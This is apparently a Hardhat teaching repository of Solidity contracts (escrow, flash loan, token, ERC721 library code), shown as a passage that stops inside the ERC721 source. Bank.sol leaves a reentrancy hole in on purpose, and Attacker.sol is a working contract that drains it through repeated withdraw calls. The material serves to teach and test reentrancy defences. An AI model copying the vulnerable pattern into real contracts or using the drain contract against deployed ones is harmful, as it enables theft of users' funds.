├── .gitignore ├── README.md ├── contracts ├── Attacker.sol ├── Bank.sol ├── Counter.sol ├── Escrow.sol ├── FlashLoan.sol ├── FlashLoanReceiver.sol ├── RealEstate.sol └── Token.sol ├── hardhat.config.js ├── package-lock.json ├── package.json ├── scripts └── deploy.js └── test ├── Counter.js ├── Flashloan.js ├── RealEstate.js └── Reentrancy.js /.gitignore: -------------------------------------------------------------------------------- 1 | node_modules 2 | .env 3 | coverage 4 | coverage.json 5 | typechain 6 | typechain-types 7 | 8 | #Hardhat files 9 | cache 10 | artifacts 11 | 12 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Sample Hardhat Project 2 | 3 | This project demonstrates a basic Hardhat use case. It comes with a sample contract, a test for that contract, and a script that deploys that contract. 4 | 5 | Try running some of the following tasks: 6 | 7 | ```shell 8 | npx hardhat help 9 | npx hardhat test 10 | GAS_REPORT=true npx hardhat test 11 | npx hardhat node 12 | npx hardhat run scripts/deploy.js 13 | ``` 14 | -------------------------------------------------------------------------------- /contracts/Attacker.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.8.0; 2 | 3 | import "@openzeppelin/contracts/access/Ownable.sol"; 4 | 5 | interface IBank { 6 | function deposit() external payable; 7 | function withdraw() external; 8 | } 9 | 10 | contract Attacker is Ownable { 11 | IBank public immutable bankContract; 12 | 13 | constructor(address bankContractAddress) { 14 | bankContract = IBank(bankContractAddress); 15 | } 16 | 17 | function attack() external payable onlyOwner { 18 | bankContract.deposit{ value: msg.value }(); 19 | bankContract.withdraw(); 20 | } 21 | 22 | receive() external payable { 23 | if (address(bankContract).balance > 0) { 24 | bankContract.withdraw(); 25 | } else { 26 | payable(owner()).transfer(address(this).balance); 27 | } 28 | } 29 | } 30 | -------------------------------------------------------------------------------- /contracts/Bank.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: Unlicense 2 | pragma solidity ^0.8.0; 3 | 4 | import "@openzeppelin/contracts/utils/Address.sol"; 5 | 6 | // 1. import contract 7 | // import "@openzeppelin/contracts/security/ReentrancyGuard.sol"; 8 | 9 | // 2. inherit from ReentrancyGuard 10 | contract Bank { 11 | using Address for address payable; 12 | 13 | mapping(address => uint256) public balanceOf; 14 | 15 | function deposit() external payable { 16 | balanceOf[msg.sender] += msg.value; 17 | } 18 | 19 | /* 3. attach nonReentrant to protect against reentracy */ 20 | function withdraw() external { 21 | uint256 depositedAmount = balanceOf[msg.sender]; 22 | payable(msg.sender).sendValue(depositedAmount); 23 | balanceOf[msg.sender] = 0; 24 | } 25 | } 26 | -------------------------------------------------------------------------------- /contracts/Counter.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: Unlicense 2 | pragma solidity ^0.8.0; 3 | 4 | import "hardhat/console.sol"; 5 | 6 | contract Counter { 7 | string public name; 8 | uint256 public count; 9 | 10 | constructor(string memory _name, uint256 _initialCount) { 11 | name = _name; 12 | count = _initialCount; 13 | } 14 | 15 | function increment() public returns (uint256 newCount) { 16 | count ++; 17 | return count; 18 | } 19 | 20 | function decrement() public returns (uint256 newCount) { 21 | count --; 22 | return count; 23 | } 24 | 25 | function getCount() public view returns (uint256) { 26 | return count; 27 | } 28 | 29 | function setName(string memory _newName) public returns (string memory newName) { 30 | name = _newName; 31 | return name; 32 | } 33 | 34 | function getName() public view returns (string memory currentName) { 35 | return name; 36 | } 37 | 38 | } 39 | -------------------------------------------------------------------------------- /contracts/Escrow.sol: -------------------------------------------------------------------------------- 1 | //SPDX-License-Identifier: Unlicense 2 | pragma solidity ^0.8.0; 3 | 4 | interface IERC721 { 5 | function transferFrom(address _from, address _to, uint256 _id) external; 6 | } 7 | 8 | contract Escrow { 9 | 10 | address public nftAddress; 11 | uint256 public nftID; 12 | uint256 public purchasePrice; 13 | uint256 public escrowAmount; 14 | address payable public seller; 15 | address payable public buyer; 16 | address public inspector; 17 | address public lender; 18 | 19 | 20 | modifier onlyBuyer() { 21 | require(msg.sender == buyer, "Only buyer can call this method"); 22 | _; 23 | } 24 | 25 | modifier onlySeller() { 26 | require(msg.sender == seller, "Only seller can call this method"); 27 | _; 28 | } 29 | 30 | modifier onlyInspector() { 31 | require(msg.sender == inspector, "Only inspector can call this method"); 32 | _; 33 | } 34 | 35 | bool public inspectionPasssed = false; 36 | mapping(address => bool) public approval; 37 | 38 | 39 | constructor(address _nftAddress, uint256 _nftID, uint256 _purchasePrice, uint256 _escrowAmount, address payable _seller, address payable _buyer, address _inspector, address _lender) { 40 | nftAddress = _nftAddress; 41 | nftID = _nftID; 42 | purchasePrice = _purchasePrice; 43 | escrowAmount = _escrowAmount; 44 | seller = _seller; 45 | buyer = _buyer; 46 | inspector = _inspector; 47 | lender = _lender; 48 | } 49 | 50 | // Put Under Contract (only buyer - payable escrow) 51 | function depositEarnest() public payable onlyBuyer { 52 | require(msg.value >= escrowAmount); 53 | } 54 | 55 | // Update Inspection Status (only inspector) 56 | function updateInspectionStatus(bool _passed) public onlyInspector { 57 | inspectionPasssed = _passed; 58 | } 59 | 60 | // Approve Sale 61 | function approveSale() public { 62 | approval[msg.sender] = true; 63 | } 64 | 65 | // Finalize Sale 66 | // -> Require inspection status (add more items here, like appraisal) 67 | // -> Require sale to be authorized 68 | // -> Require funds to be correct amount 69 | // -> Transfer NFT to buyer 70 | // -> Transfer Funds to Seller 71 | function finalizeSale() public { 72 | require(inspectionPasssed); 73 | require(approval[buyer]); 74 | require(approval[seller]); 75 | require(approval[lender]); 76 | require(address(this).balance >= purchasePrice); 77 | 78 | (bool success, ) = payable(seller).call{value: address(this).balance}(""); 79 | require(success); 80 | 81 | IERC721(nftAddress).transferFrom(seller, buyer, nftID); 82 | } 83 | 84 | // Cancel Sale (handle earnest deposit) 85 | // -> if inspection status is not approved, then refund, otherwise send to seller 86 | function cancelSale() public { 87 | if(inspectionPasssed == false) { 88 | payable(buyer).transfer(address(this).balance); 89 | } else { 90 | payable(seller).transfer(address(this).balance); 91 | } 92 | } 93 | 94 | receive() external payable {} 95 | 96 | function getBalance() public view returns (uint) { 97 | return address(this).balance; 98 | } 99 | } 100 | -------------------------------------------------------------------------------- /contracts/FlashLoan.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: Unlicense 2 | 3 | // Contract inspired by Damn Vulnerable DeFi 4 | // Original Contract: 5 | // https://github.com/OpenZeppelin/damn-vulnerable-defi/blob/master/contracts/unstoppable/UnstoppableLender.sol 6 | 7 | import "hardhat/console.sol"; 8 | import "./Token.sol"; 9 | import "@openzeppelin/contracts/utils/math/SafeMath.sol"; 10 | import "@openzeppelin/contracts/security/ReentrancyGuard.sol"; 11 | 12 | interface IReceiver { 13 | function receiveTokens(address tokenAddress, uint256 amount) external; 14 | } 15 | 16 | contract FlashLoan is ReentrancyGuard { 17 | using SafeMath for uint256; 18 | 19 | Token public token; 20 | uint256 public poolBalance; 21 | 22 | constructor(address tokenAddress) public { 23 | require(tokenAddress != address(0), "Token address cannot be zero"); 24 | token = Token(tokenAddress); 25 | } 26 | 27 | function depositTokens(uint256 amount) external nonReentrant { 28 | require(amount > 0, "Must deposit at least one token"); 29 | // Transfer token from sender. Sender must have first approved them. 30 | token.transferFrom(msg.sender, address(this), amount); 31 | poolBalance = poolBalance.add(amount); 32 | } 33 | 34 | function flashLoan(uint256 borrowAmount) external nonReentrant { 35 | require(borrowAmount > 0, "Must borrow at least one token"); 36 | 37 | uint256 balanceBefore = token.balanceOf(address(this)); 38 | require(balanceBefore >= borrowAmount, "Not enough tokens in pool"); 39 | 40 | // Ensured by the protocol via the `depositTokens` function 41 | assert(poolBalance == balanceBefore); 42 | 43 | token.transfer(msg.sender, borrowAmount); 44 | 45 | IReceiver(msg.sender).receiveTokens(address(token), borrowAmount); 46 | 47 | uint256 balanceAfter = token.balanceOf(address(this)); 48 | require(balanceAfter >= balanceBefore, "Flash loan hasn't been paid back"); 49 | } 50 | 51 | } 52 | -------------------------------------------------------------------------------- /contracts/FlashLoanReceiver.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: Unlicense 2 | 3 | // Contract inspired by Damn Vulnerable DeFi 4 | // Original Contract: 5 | // https://github.com/OpenZeppelin/damn-vulnerable-defi/blob/master/contracts/unstoppable/ReceiverUnstoppable.sol 6 | 7 | import "hardhat/console.sol"; 8 | import "./Token.sol"; 9 | import "./FlashLoan.sol"; 10 | 11 | contract FlashLoanReceiver { 12 | 13 | FlashLoan private pool; 14 | address private owner; 15 | 16 | event LoanReceived(address token, uint256 amount); 17 | 18 | constructor(address poolAddress) public { 19 | pool = FlashLoan(poolAddress); 20 | owner = msg.sender; 21 | } 22 | 23 | function receiveTokens(address tokenAddress, uint256 amount) external { 24 | require(msg.sender == address(pool), "Sender must be pool"); 25 | 26 | // Emit event to prove tokens receive in test 27 | emit LoanReceived(tokenAddress, amount); 28 | 29 | // Use your funds here! 30 | 31 | // Return all tokens to the pool 32 | require(Token(tokenAddress).transfer(msg.sender, amount), "Transfer of tokens failed"); 33 | } 34 | 35 | function executeFlashLoan(uint256 amount) external { 36 | require(msg.sender == owner, "Only owner can execute flash loan"); 37 | pool.flashLoan(amount); 38 | } 39 | } 40 | -------------------------------------------------------------------------------- /contracts/RealEstate.sol: -------------------------------------------------------------------------------- 1 | // File: @openzeppelin/contracts/utils/Counters.sol 2 | 3 | 4 | // OpenZeppelin Contracts v4.4.1 (utils/Counters.sol) 5 | 6 | pragma solidity ^0.8.0; 7 | 8 | /** 9 | * @title Counters 10 | * @author Matt Condon (@shrugs) 11 | * @dev Provides counters that can only be incremented, decremented or reset. This can be used e.g. to track the number 12 | * of elements in a mapping, issuing ERC721 ids, or counting request ids. 13 | * 14 | * Include with `using Counters for Counters.Counter;` 15 | */ 16 | library Counters { 17 | struct Counter { 18 | // This variable should never be directly accessed by users of the library: interactions must be restricted to 19 | // the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add 20 | // this feature: see https://github.com/ethereum/solidity/issues/4637 21 | uint256 _value; // default: 0 22 | } 23 | 24 | function current(Counter storage counter) internal view returns (uint256) { 25 | return counter._value; 26 | } 27 | 28 | function increment(Counter storage counter) internal { 29 | unchecked { 30 | counter._value += 1; 31 | } 32 | } 33 | 34 | function decrement(Counter storage counter) internal { 35 | uint256 value = counter._value; 36 | require(value > 0, "Counter: decrement overflow"); 37 | unchecked { 38 | counter._value = value - 1; 39 | } 40 | } 41 | 42 | function reset(Counter storage counter) internal { 43 | counter._value = 0; 44 | } 45 | } 46 | 47 | // File: @openzeppelin/contracts/utils/Strings.sol 48 | 49 | 50 | // OpenZeppelin Contracts v4.4.1 (utils/Strings.sol) 51 | 52 | pragma solidity ^0.8.0; 53 | 54 | /** 55 | * @dev String operations. 56 | */ 57 | library Strings { 58 | bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; 59 | 60 | /** 61 | * @dev Converts a `uint256` to its ASCII `string` decimal representation. 62 | */ 63 | function toString(uint256 value) internal pure returns (string memory) { 64 | // Inspired by OraclizeAPI's implementation - MIT licence 65 | // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol 66 | 67 | if (value == 0) { 68 | return "0"; 69 | } 70 | uint256 temp = value; 71 | uint256 digits; 72 | while (temp != 0) { 73 | digits++; 74 | temp /= 10; 75 | } 76 | bytes memory buffer = new bytes(digits); 77 | while (value != 0) { 78 | digits -= 1; 79 | buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); 80 | value /= 10; 81 | } 82 | return string(buffer); 83 | } 84 | 85 | /** 86 | * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. 87 | */ 88 | function toHexString(uint256 value) internal pure returns (string memory) { 89 | if (value == 0) { 90 | return "0x00"; 91 | } 92 | uint256 temp = value; 93 | uint256 length = 0; 94 | while (temp != 0) { 95 | length++; 96 | temp >>= 8; 97 | } 98 | return toHexString(value, length); 99 | } 100 | 101 | /** 102 | * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. 103 | */ 104 | function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { 105 | bytes memory buffer = new bytes(2 * length + 2); 106 | buffer[0] = "0"; 107 | buffer[1] = "x"; 108 | for (uint256 i = 2 * length + 1; i > 1; --i) { 109 | buffer[i] = _HEX_SYMBOLS[value & 0xf]; 110 | value >>= 4; 111 | } 112 | require(value == 0, "Strings: hex length insufficient"); 113 | return string(buffer); 114 | } 115 | } 116 | 117 | // File: @openzeppelin/contracts/utils/Context.sol 118 | 119 | 120 | // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) 121 | 122 | pragma solidity ^0.8.0; 123 | 124 | /** 125 | * @dev Provides information about the current execution context, including the 126 | * sender of the transaction and its data. While these are generally available 127 | * via msg.sender and msg.data, they should not be accessed in such a direct 128 | * manner, since when dealing with meta-transactions the account sending and 129 | * paying for execution may not be the actual sender (as far as an application 130 | * is concerned). 131 | * 132 | * This contract is only required for intermediate, library-like contracts. 133 | */ 134 | abstract contract Context { 135 | function _msgSender() internal view virtual returns (address) { 136 | return msg.sender; 137 | } 138 | 139 | function _msgData() internal view virtual returns (bytes calldata) { 140 | return msg.data; 141 | } 142 | } 143 | 144 | // File: @openzeppelin/contracts/utils/Address.sol 145 | 146 | 147 | // OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol) 148 | 149 | pragma solidity ^0.8.1; 150 | 151 | /** 152 | * @dev Collection of functions related to the address type 153 | */ 154 | library Address { 155 | /** 156 | * @dev Returns true if `account` is a contract. 157 | * 158 | * [IMPORTANT] 159 | * ==== 160 | * It is unsafe to assume that an address for which this function returns 161 | * false is an externally-owned account (EOA) and not a contract. 162 | * 163 | * Among others, `isContract` will return false for the following 164 | * types of addresses: 165 | * 166 | * - an externally-owned account 167 | * - a contract in construction 168 | * - an address where a contract will be created 169 | * - an address where a contract lived, but was destroyed 170 | * ==== 171 | * 172 | * [IMPORTANT] 173 | * ==== 174 | * You shouldn't rely on `isContract` to protect against flash loan attacks! 175 | * 176 | * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets 177 | * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract 178 | * constructor. 179 | * ==== 180 | */ 181 | function isContract(address account) internal view returns (bool) { 182 | // This method relies on extcodesize/address.code.length, which returns 0 183 | // for contracts in construction, since the code is only stored at the end 184 | // of the constructor execution. 185 | 186 | return account.code.length > 0; 187 | } 188 | 189 | /** 190 | * @dev Replacement for Solidity's `transfer`: sends `amount` wei to 191 | * `recipient`, forwarding all available gas and reverting on errors. 192 | * 193 | * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost 194 | * of certain opcodes, possibly making contracts go over the 2300 gas limit 195 | * imposed by `transfer`, making them unable to receive funds via 196 | * `transfer`. {sendValue} removes this limitation. 197 | * 198 | * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. 199 | * 200 | * IMPORTANT: because control is transferred to `recipient`, care must be 201 | * taken to not create reentrancy vulnerabilities. Consider using 202 | * {ReentrancyGuard} or the 203 | * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. 204 | */ 205 | function sendValue(address payable recipient, uint256 amount) internal { 206 | require(address(this).balance >= amount, "Address: insufficient balance"); 207 | 208 | (bool success, ) = recipient.call{value: amount}(""); 209 | require(success, "Address: unable to send value, recipient may have reverted"); 210 | } 211 | 212 | /** 213 | * @dev Performs a Solidity function call using a low level `call`. A 214 | * plain `call` is an unsafe replacement for a function call: use this 215 | * function instead. 216 | * 217 | * If `target` reverts with a revert reason, it is bubbled up by this 218 | * function (like regular Solidity function calls). 219 | * 220 | * Returns the raw returned data. To convert to the expected return value, 221 | * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. 222 | * 223 | * Requirements: 224 | * 225 | * - `target` must be a contract. 226 | * - calling `target` with `data` must not revert. 227 | * 228 | * _Available since v3.1._ 229 | */ 230 | function functionCall(address target, bytes memory data) internal returns (bytes memory) { 231 | return functionCall(target, data, "Address: low-level call failed"); 232 | } 233 | 234 | /** 235 | * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with 236 | * `errorMessage` as a fallback revert reason when `target` reverts. 237 | * 238 | * _Available since v3.1._ 239 | */ 240 | function functionCall( 241 | address target, 242 | bytes memory data, 243 | string memory errorMessage 244 | ) internal returns (bytes memory) { 245 | return functionCallWithValue(target, data, 0, errorMessage); 246 | } 247 | 248 | /** 249 | * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], 250 | * but also transferring `value` wei to `target`. 251 | * 252 | * Requirements: 253 | * 254 | * - the calling contract must have an ETH balance of at least `value`. 255 | * - the called Solidity function must be `payable`. 256 | * 257 | * _Available since v3.1._ 258 | */ 259 | function functionCallWithValue( 260 | address target, 261 | bytes memory data, 262 | uint256 value 263 | ) internal returns (bytes memory) { 264 | return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); 265 | } 266 | 267 | /** 268 | * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but 269 | * with `errorMessage` as a fallback revert reason when `target` reverts. 270 | * 271 | * _Available since v3.1._ 272 | */ 273 | function functionCallWithValue( 274 | address target, 275 | bytes memory data, 276 | uint256 value, 277 | string memory errorMessage 278 | ) internal returns (bytes memory) { 279 | require(address(this).balance >= value, "Address: insufficient balance for call"); 280 | require(isContract(target), "Address: call to non-contract"); 281 | 282 | (bool success, bytes memory returndata) = target.call{value: value}(data); 283 | return verifyCallResult(success, returndata, errorMessage); 284 | } 285 | 286 | /** 287 | * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], 288 | * but performing a static call. 289 | * 290 | * _Available since v3.3._ 291 | */ 292 | function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { 293 | return functionStaticCall(target, data, "Address: low-level static call failed"); 294 | } 295 | 296 | /** 297 | * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], 298 | * but performing a static call. 299 | * 300 | * _Available since v3.3._ 301 | */ 302 | function functionStaticCall( 303 | address target, 304 | bytes memory data, 305 | string memory errorMessage 306 | ) internal view returns (bytes memory) { 307 | require(isContract(target), "Address: static call to non-contract"); 308 | 309 | (bool success, bytes memory returndata) = target.staticcall(data); 310 | return verifyCallResult(success, returndata, errorMessage); 311 | } 312 | 313 | /** 314 | * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], 315 | * but performing a delegate call. 316 | * 317 | * _Available since v3.4._ 318 | */ 319 | function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { 320 | return functionDelegateCall(target, data, "Address: low-level delegate call failed"); 321 | } 322 | 323 | /** 324 | * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], 325 | * but performing a delegate call. 326 | * 327 | * _Available since v3.4._ 328 | */ 329 | function functionDelegateCall( 330 | address target, 331 | bytes memory data, 332 | string memory errorMessage 333 | ) internal returns (bytes memory) { 334 | require(isContract(target), "Address: delegate call to non-contract"); 335 | 336 | (bool success, bytes memory returndata) = target.delegatecall(data); 337 | return verifyCallResult(success, returndata, errorMessage); 338 | } 339 | 340 | /** 341 | * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the 342 | * revert reason using the provided one. 343 | * 344 | * _Available since v4.3._ 345 | */ 346 | function verifyCallResult( 347 | bool success, 348 | bytes memory returndata, 349 | string memory errorMessage 350 | ) internal pure returns (bytes memory) { 351 | if (success) { 352 | return returndata; 353 | } else { 354 | // Look for revert reason and bubble it up if present 355 | if (returndata.length > 0) { 356 | // The easiest way to bubble the revert reason is using memory via assembly 357 | 358 | assembly { 359 | let returndata_size := mload(returndata) 360 | revert(add(32, returndata), returndata_size) 361 | } 362 | } else { 363 | revert(errorMessage); 364 | } 365 | } 366 | } 367 | } 368 | 369 | // File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol 370 | 371 | 372 | // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol) 373 | 374 | pragma solidity ^0.8.0; 375 | 376 | /** 377 | * @title ERC721 token receiver interface 378 | * @dev Interface for any contract that wants to support safeTransfers 379 | * from ERC721 asset contracts. 380 | */ 381 | interface IERC721Receiver { 382 | /** 383 | * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} 384 | * by `operator` from `from`, this function is called. 385 | * 386 | * It must return its Solidity selector to confirm the token transfer. 387 | * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. 388 | * 389 | * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. 390 | */ 391 | function onERC721Received( 392 | address operator, 393 | address from, 394 | uint256 tokenId, 395 | bytes calldata data 396 | ) external returns (bytes4); 397 | } 398 | 399 | // File: @openzeppelin/contracts/utils/introspection/IERC165.sol 400 | 401 | 402 | // OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol) 403 | 404 | pragma solidity ^0.8.0; 405 | 406 | /** 407 | * @dev Interface of the ERC165 standard, as defined in the 408 | * https://eips.ethereum.org/EIPS/eip-165[EIP]. 409 | * 410 | * Implementers can declare support of contract interfaces, which can then be 411 | * queried by others ({ERC165Checker}). 412 | * 413 | * For an implementation, see {ERC165}. 414 | */ 415 | interface IERC165 { 416 | /** 417 | * @dev Returns true if this contract implements the interface defined by 418 | * `interfaceId`. See the corresponding 419 | * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] 420 | * to learn more about how these ids are created. 421 | * 422 | * This function call must use less than 30 000 gas. 423 | */ 424 | function supportsInterface(bytes4 interfaceId) external view returns (bool); 425 | } 426 | 427 | // File: @openzeppelin/contracts/utils/introspection/ERC165.sol 428 | 429 | 430 | // OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol) 431 | 432 | pragma solidity ^0.8.0; 433 | 434 | 435 | /** 436 | * @dev Implementation of the {IERC165} interface. 437 | * 438 | * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check 439 | * for the additional interface id that will be supported. For example: 440 | * 441 | * ```solidity 442 | * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { 443 | * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); 444 | * } 445 | * ``` 446 | * 447 | * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. 448 | */ 449 | abstract contract ERC165 is IERC165 { 450 | /** 451 | * @dev See {IERC165-supportsInterface}. 452 | */ 453 | function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { 454 | return interfaceId == type(IERC165).interfaceId; 455 | } 456 | } 457 | 458 | // File: @openzeppelin/contracts/token/ERC721/IERC721.sol 459 | 460 | 461 | // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol) 462 | 463 | pragma solidity ^0.8.0; 464 | 465 | 466 | /** 467 | * @dev Required interface of an ERC721 compliant contract. 468 | */ 469 | interface IERC721 is IERC165 { 470 | /** 471 | * @dev Emitted when `tokenId` token is transferred from `from` to `to`. 472 | */ 473 | event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); 474 | 475 | /** 476 | * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. 477 | */ 478 | event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); 479 | 480 | /** 481 | * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. 482 | */ 483 | event ApprovalForAll(address indexed owner, address indexed operator, bool approved); 484 | 485 | /** 486 | * @dev Returns the number of tokens in ``owner``'s account. 487 | */ 488 | function balanceOf(address owner) external view returns (uint256 balance); 489 | 490 | /** 491 | * @dev Returns the owner of the `tokenId` token. 492 | * 493 | * Requirements: 494 | * 495 | * - `tokenId` must exist. 496 | */ 497 | function ownerOf(uint256 tokenId) external view returns (address owner); 498 | 499 | /** 500 | * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients 501 | * are aware of the ERC721 protocol to prevent tokens from being forever locked. 502 | * 503 | * Requirements: 504 | * 505 | * - `from` cannot be the zero address. 506 | * - `to` cannot be the zero address. 507 | * - `tokenId` token must exist and be owned by `from`. 508 | * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. 509 | * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. 510 | * 511 | * Emits a {Transfer} event. 512 | */ 513 | function safeTransferFrom( 514 | address from, 515 | address to, 516 | uint256 tokenId 517 | ) external; 518 | 519 | /** 520 | * @dev Transfers `tokenId` token from `from` to `to`. 521 | * 522 | * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. 523 | * 524 | * Requirements: 525 | * 526 | * - `from` cannot be the zero address. 527 | * - `to` cannot be the zero address. 528 | * - `tokenId` token must be owned by `from`. 529 | * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. 530 | * 531 | * Emits a {Transfer} event. 532 | */ 533 | function transferFrom( 534 | address from, 535 | address to, 536 | uint256 tokenId 537 | ) external; 538 | 539 | /** 540 | * @dev Gives permission to `to` to transfer `tokenId` token to another account. 541 | * The approval is cleared when the token is transferred. 542 | * 543 | * Only a single account can be approved at a time, so approving the zero address clears previous approvals. 544 | * 545 | * Requirements: 546 | * 547 | * - The caller must own the token or be an approved operator. 548 | * - `tokenId` must exist. 549 | * 550 | * Emits an {Approval} event. 551 | */ 552 | function approve(address to, uint256 tokenId) external; 553 | 554 | /** 555 | * @dev Returns the account approved for `tokenId` token. 556 | * 557 | * Requirements: 558 | * 559 | * - `tokenId` must exist. 560 | */ 561 | function getApproved(uint256 tokenId) external view returns (address operator); 562 | 563 | /** 564 | * @dev Approve or remove `operator` as an operator for the caller. 565 | * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. 566 | * 567 | * Requirements: 568 | * 569 | * - The `operator` cannot be the caller. 570 | * 571 | * Emits an {ApprovalForAll} event. 572 | */ 573 | function setApprovalForAll(address operator, bool _approved) external; 574 | 575 | /** 576 | * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. 577 | * 578 | * See {setApprovalForAll} 579 | */ 580 | function isApprovedForAll(address owner, address operator) external view returns (bool); 581 | 582 | /** 583 | * @dev Safely transfers `tokenId` token from `from` to `to`. 584 | * 585 | * Requirements: 586 | * 587 | * - `from` cannot be the zero address. 588 | * - `to` cannot be the zero address. 589 | * - `tokenId` token must exist and be owned by `from`. 590 | * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. 591 | * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. 592 | * 593 | * Emits a {Transfer} event. 594 | */ 595 | function safeTransferFrom( 596 | address from, 597 | address to, 598 | uint256 tokenId, 599 | bytes calldata data 600 | ) external; 601 | } 602 | 603 | // File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol 604 | 605 | 606 | // OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol) 607 | 608 | pragma solidity ^0.8.0; 609 | 610 | 611 | /** 612 | * @title ERC-721 Non-Fungible Token Standard, optional metadata extension 613 | * @dev See https://eips.ethereum.org/EIPS/eip-721 614 | */ 615 | interface IERC721Metadata is IERC721 { 616 | /** 617 | * @dev Returns the token collection name. 618 | */ 619 | function name() external view returns (string memory); 620 | 621 | /** 622 | * @dev Returns the token collection symbol. 623 | */ 624 | function symbol() external view returns (string memory); 625 | 626 | /** 627 | * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. 628 | */ 629 | function tokenURI(uint256 tokenId) external view returns (string memory); 630 | } 631 | 632 | // File: @openzeppelin/contracts/token/ERC721/ERC721.sol 633 | 634 | 635 | // OpenZeppelin Contracts (last updated v4.5.0) (token/ERC721/ERC721.sol) 636 | 637 | pragma solidity ^0.8.0; 638 | 639 | 640 | 641 | 642 | 643 | 644 | 645 | 646 | /** 647 | * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including 648 | * the Metadata extension, but not including the Enumerable extension, which is available separately as 649 | * {ERC721Enumerable}. 650 | */ 651 | contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { 652 | using Address for address; 653 | using Strings for uint256; 654 | 655 | // Token name 656 | string private _name; 657 | 658 | // Token symbol 659 | string private _symbol; 660 | 661 | // Mapping from token ID to owner address 662 | mapping(uint256 => address) private _owners; 663 | 664 | // Mapping owner address to token count 665 | mapping(address => uint256) private _balances; 666 | 667 | // Mapping from token ID to approved address 668 | mapping(uint256 => address) private _tokenApprovals; 669 | 670 | // Mapping from owner to operator approvals 671 | mapping(address => mapping(address => bool)) private _operatorApprovals; 672 | 673 | /** 674 | * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. 675 | */ 676 | constructor(string memory name_, string memory symbol_) { 677 | _name = name_; 678 | _symbol = symbol_; 679 | } 680 | 681 | /** 682 | * @dev See {IERC165-supportsInterface}. 683 | */ 684 | function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { 685 | return 686 | interfaceId == type(IERC721).interfaceId || 687 | interfaceId == type(IERC721Metadata).interfaceId || 688 | super.supportsInterface(interfaceId); 689 | } 690 | 691 | /** 692 | * @dev See {IERC721-balanceOf}. 693 | */ 694 | function balanceOf(address owner) public view virtual override returns (uint256) { 695 | require(owner != address(0), "ERC721: balance query for the zero address"); 696 | return _balances[owner]; 697 | } 698 | 699 | /** 700 | * @dev See {IERC721-ownerOf}. 701 | */ 702 | function ownerOf(uint256 tokenId) public view virtual override returns (address) { 703 | address owner = 